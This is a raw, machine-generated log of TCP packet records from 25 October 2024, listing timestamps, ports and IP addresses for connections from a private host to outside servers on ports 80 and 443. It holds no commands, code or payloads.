Oct 25, 2024 19:46:44.785376072 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:44.785377026 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:44.785588980 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:44.785635948 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:44.853348970 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:44.853374958 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:44.853461981 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:45.234870911 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.234889030 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.234942913 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:45.376147032 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.376179934 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.376193047 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.376262903 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:45.376473904 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.376508951 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:45.376552105 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:45.376574039 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.376655102 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.376710892 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:45.825346947 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.825370073 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.825388908 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.825458050 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:45.825480938 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.825557947 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:45.825557947 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:45.963335991 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.963365078 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.963376999 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.963392019 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:45.963495970 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.469568968 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.469605923 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.469614029 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.469657898 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.469657898 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.469758987 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.469764948 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.469811916 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.486232042 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.486289024 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.486294985 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.486306906 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.486341000 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.486757994 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.486808062 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.556154013 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.556289911 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.556351900 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.556360006 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.556432962 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.557126045 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.557225943 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.626805067 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.626851082 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.626867056 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.626971006 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.628742933 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.628937960 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.696644068 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.696780920 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.696856022 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.696911097 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.905668974 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.905858994 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:46.905889034 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:46.905929089 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.654254913 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.654273987 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.654287100 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.654369116 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.654382944 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.654396057 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.654407978 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.654427052 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.654427052 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.654427052 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.654427052 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.654511929 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.654930115 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.654944897 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.654957056 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655066967 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.655143976 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655205965 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.655240059 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655252934 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655265093 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655277014 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655288935 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655354977 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.655354977 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.655710936 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655724049 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655736923 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655750036 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.655796051 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.655796051 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.656156063 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.656205893 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.659945011 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.660059929 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.660095930 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.660109043 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.660172939 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.660172939 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.660295963 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.660345078 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.952260971 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.952289104 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.952301979 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.952316046 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:47.952507019 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:47.952507019 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.092086077 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.092122078 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.092134953 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.092149973 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.092186928 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.092187881 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.092438936 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.092470884 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.092521906 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.163924932 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.163991928 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.163997889 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.164004087 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.164040089 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.164251089 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.164300919 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.233562946 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.233616114 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.233632088 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.233633995 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.233663082 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.233673096 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.608831882 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.608880043 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.608894110 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.608901978 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.608995914 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.608995914 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.609042883 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.609090090 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.609745026 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.609795094 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:48.680269957 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.680301905 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:48.680389881 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:49.305763006 CEST	80	49165	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:49.305850983 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:49.436476946 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:49.436548948 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:49.436636925 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:49.436955929 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:49.436979055 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:50.060734987 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:50.060847044 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.062350988 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.062364101 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:50.067375898 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.067383051 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:50.461886883 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:50.461954117 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.462105989 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:50.462153912 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.462178946 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:50.462224007 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.462246895 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:50.462286949 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.462363958 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:50.462405920 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.462558985 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.462582111 CEST	443	49166	188.114.97.3	192.168.2.22
Oct 25, 2024 19:46:50.462591887 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.462627888 CEST	49166	443	192.168.2.22	188.114.97.3
Oct 25, 2024 19:46:50.982923985 CEST	49168	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:50.982969046 CEST	443	49168	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:50.983025074 CEST	49168	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:50.984069109 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:50.988452911 CEST	49169	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:50.988509893 CEST	443	49169	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:50.988583088 CEST	49169	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:50.989722967 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:50.989799976 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:51.014420986 CEST	49168	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:51.014445066 CEST	443	49168	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:51.015665054 CEST	49169	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:51.015753984 CEST	443	49169	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:51.653458118 CEST	443	49168	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:51.653574944 CEST	49168	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:51.653739929 CEST	443	49169	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:51.653822899 CEST	49169	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:51.661683083 CEST	49169	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:51.661741018 CEST	443	49169	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:51.662570953 CEST	443	49169	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:51.665054083 CEST	49169	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:51.667251110 CEST	49168	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:51.667272091 CEST	443	49168	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:51.667726994 CEST	443	49168	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:51.669431925 CEST	49168	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:51.780340910 CEST	49169	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:51.823342085 CEST	443	49169	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:52.173943996 CEST	443	49169	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:52.174073935 CEST	49169	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:52.174159050 CEST	443	49169	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:52.174340010 CEST	443	49169	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:52.174396992 CEST	49169	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:52.176094055 CEST	49169	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:46:52.176124096 CEST	443	49169	188.114.96.3	192.168.2.22
Oct 25, 2024 19:46:52.178127050 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:52.178599119 CEST	49170	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:52.185321093 CEST	80	49170	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:52.185410976 CEST	49170	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:52.185659885 CEST	49170	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:52.186717987 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:52.191648006 CEST	80	49170	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:52.202050924 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:52.202120066 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:52.895457983 CEST	80	49170	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:52.895545959 CEST	49170	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:57.920844078 CEST	80	49170	192.3.176.141	192.168.2.22
Oct 25, 2024 19:46:57.920988083 CEST	49170	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:46:58.520307064 CEST	49171	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:46:58.520343065 CEST	443	49171	142.250.186.46	192.168.2.22
Oct 25, 2024 19:46:58.520430088 CEST	49171	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:46:58.526335955 CEST	49171	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:46:58.526352882 CEST	443	49171	142.250.186.46	192.168.2.22
Oct 25, 2024 19:46:59.399893045 CEST	443	49171	142.250.186.46	192.168.2.22
Oct 25, 2024 19:46:59.400031090 CEST	49171	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:46:59.400680065 CEST	443	49171	142.250.186.46	192.168.2.22
Oct 25, 2024 19:46:59.400736094 CEST	49171	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:46:59.654891014 CEST	49171	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:46:59.654911995 CEST	443	49171	142.250.186.46	192.168.2.22
Oct 25, 2024 19:46:59.656063080 CEST	443	49171	142.250.186.46	192.168.2.22
Oct 25, 2024 19:46:59.863374949 CEST	443	49171	142.250.186.46	192.168.2.22
Oct 25, 2024 19:46:59.863558054 CEST	49171	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:47:00.199999094 CEST	49171	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:47:00.243362904 CEST	443	49171	142.250.186.46	192.168.2.22
Oct 25, 2024 19:47:00.565332890 CEST	443	49171	142.250.186.46	192.168.2.22
Oct 25, 2024 19:47:00.586390972 CEST	49171	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:47:00.586479902 CEST	443	49171	142.250.186.46	192.168.2.22
Oct 25, 2024 19:47:00.586545944 CEST	49171	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:47:00.616317987 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:00.616350889 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:00.616462946 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:00.617635012 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:00.617650032 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:01.272217989 CEST	49170	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:01.272263050 CEST	49168	443	192.168.2.22	188.114.96.3
Oct 25, 2024 19:47:01.477916956 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:01.478116035 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:01.482515097 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:01.482534885 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:01.482880116 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:01.485363007 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:01.527335882 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:02.791378021 CEST	49165	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:04.214611053 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.214803934 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.222726107 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.222978115 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.330210924 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.330277920 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.330425024 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.330442905 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.330920935 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.337058067 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.341157913 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.341236115 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.341296911 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.341310978 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.350018978 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.350116014 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.350137949 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.358778000 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.358870029 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.358880043 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.367814064 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.367904902 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.367961884 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.367969990 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.368258953 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.376897097 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.445877075 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.445907116 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.446113110 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.446142912 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.446166039 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.446190119 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.446228981 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.452575922 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.457094908 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.457165956 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.457197905 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.457211971 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.457309008 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.466059923 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.471070051 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.471082926 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.474572897 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.474808931 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.474817038 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.483773947 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.486561060 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.486569881 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.492796898 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.493577003 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.493583918 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.561714888 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.561748981 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.561882019 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.561907053 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.561930895 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.561940908 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.562119961 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.566847086 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.568239927 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.568279982 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.568286896 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.570363998 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.572698116 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.581360102 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.581422091 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.581480026 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.581520081 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.583333015 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.590466022 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.599298000 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.599370003 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:04.599767923 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:04.599778891 CEST	443	49172	142.250.185.97	192.168.2.22
